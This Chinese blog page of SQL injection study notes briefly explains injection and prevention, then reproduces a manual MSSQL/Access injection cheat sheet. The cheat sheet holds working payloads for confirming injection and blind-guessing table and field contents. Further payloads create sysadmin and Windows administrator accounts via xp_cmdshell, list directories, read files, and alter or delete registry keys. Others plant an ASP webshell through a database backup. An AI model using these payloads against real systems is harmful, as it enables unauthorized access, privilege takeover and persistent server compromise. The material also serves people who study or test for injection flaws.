热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入脚本学习笔记

什么是SQL注入,如何理解SQL注入是一种将sql代码添加到输入参数中,传递到sql服务器解析并执行的一种攻击手法expxxx.action?id1此

什么是SQL注入,如何理解

SQL注入是一种将sql代码添加到输入参数中,传递到sql服务器解析并执行的一种攻击手法

exp

xxx.action?id=1
此时可以在id后加入sql语句进行注入
xxx.action?id=-1 or 1=1 此时查询的信息就是所有的信息

SQL注入是怎么产生的?

  1. web开发人员无法保证所有的输入都已经过滤
  2. 攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
  3. 数据库未做相应的安全配置

有什么危害?

如何寻找SQL注入漏洞 逻辑推理

  1. 识别web应用中所有输入点 比如说账号,密码登录时
  2. 了解哪些类型的请求会触发异常 比如在sql语句中加入’ 或者 “等特殊字符
  3. 检测服务器响应中的异常地址栏直接传参数 比如爆404 500

SQL注入方式

  1. get请求
  2. post请求
  3. http请求头信息注入

如何进行SQL注入攻击

  1. 数字注入
  2. 字符串注入

1. 数字注入 比如 id=1 此时可以id = 1 or 1=1 则可以查看全部2. 登录中 用户名后面加'# 或者'-- 就是用户名后面的被注释了
这样就可以绕过登录

怎样预防SQL注入

  1. 输入变量检查
  2. 特殊字符转义
  3. 预编译处理(数据库自己会处理)

盲注

延时注入是盲注的一种
select * from table where id=1 and sleep(3); //意思是在三秒后执行
现在的网站容错做的好,可能直接输入参数and 1=1 无法判断 进而使用延时注入

全手工SQL注入式脚本整理

说明:脚本整理来源某作者,不记得了…感谢作者!

1.判断是否有注入;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>03.注入参数是字符'and [查询条件] and ''='4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql 数据库系统;and (select count(*) from msysobjects)>0 access数据库系统6.猜数据表名 ;and (select Count(*) from [数据库名])>0 表名...7.猜字段 ;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>09.字段手工猜测(1)猜字段的ascii值(access) ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 (2)猜字段的ascii值(mssql) ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql) ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历目录 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:/' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容13.mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值14.mssql的backup创建webshell use model create table cmd(str image); insert into cmd(str) values (''); backup database model to disk='c:/amxking.asp';15.mssql内置函数 ;and (select @@version)>0 获得Windows的版本号 ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;and (select user_name())>0 爆当前系统的连接用户 ;and (select db_name())>0 得到当前连接的数据库16.简洁的webshell use model create table cmd(str image); insert into cmd(str) values (''); backup database model to disk='g:/wwwtest/amxking.asp';




推荐阅读
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • 推荐一个ASP的内容管理框架(ASP Nuke)的优势和适用场景
    本文推荐了一个ASP的内容管理框架ASP Nuke,并介绍了其主要功能和特点。ASP Nuke支持文章新闻管理、投票、论坛等主要内容,并可以自定义模块。最新版本为0.8,虽然目前仍处于Alpha状态,但作者表示会继续更新完善。文章还分析了使用ASP的原因,包括ASP相对较小、易于部署和较简单等优势,适用于建立门户、网站的组织和小公司等场景。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 本文介绍了iOS数据库Sqlite的SQL语句分类和常见约束关键字。SQL语句分为DDL、DML和DQL三种类型,其中DDL语句用于定义、删除和修改数据表,关键字包括create、drop和alter。常见约束关键字包括if not exists、if exists、primary key、autoincrement、not null和default。此外,还介绍了常见的数据库数据类型,包括integer、text和real。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 本文介绍了Oracle存储过程的基本语法和写法示例,同时还介绍了已命名的系统异常的产生原因。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • oracle恢复失败,RMAN数据库恢复失败解决一例
    问题:这是一个从RAC环境的数据库的RAMN备份恢复到一个单机数据库的操作。当恢复数据文件和恢复正常,但在open数据库时出报下面的错误。--rman备 ... [详细]
  • 从壹开始前后端分离【 .NET Core2.0 +Vue2.0 】框架之六 || API项目整体搭建 6.1 仓储模式
    代码已上传Github+Gitee,文末有地址  书接上文:前几回文章中,我们花了三天的时间简单了解了下接口文档Swagger框架,已经完全解放了我们的以前的Word说明文档,并且可以在线进行调 ... [详细]
  • JVS快速开发框架2.1.4版本更新功能说明,请收下
    JVS快速开发框架2.1.4版本更新功能说明,请收下-经过开发同学这段时间马不停蹄的赶工期,JVS终于迎来了大家期待的2.1.4版本,以下是本次更新的所有内容,一起来看看吧~~~表 ... [详细]
author-avatar
dafeige
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有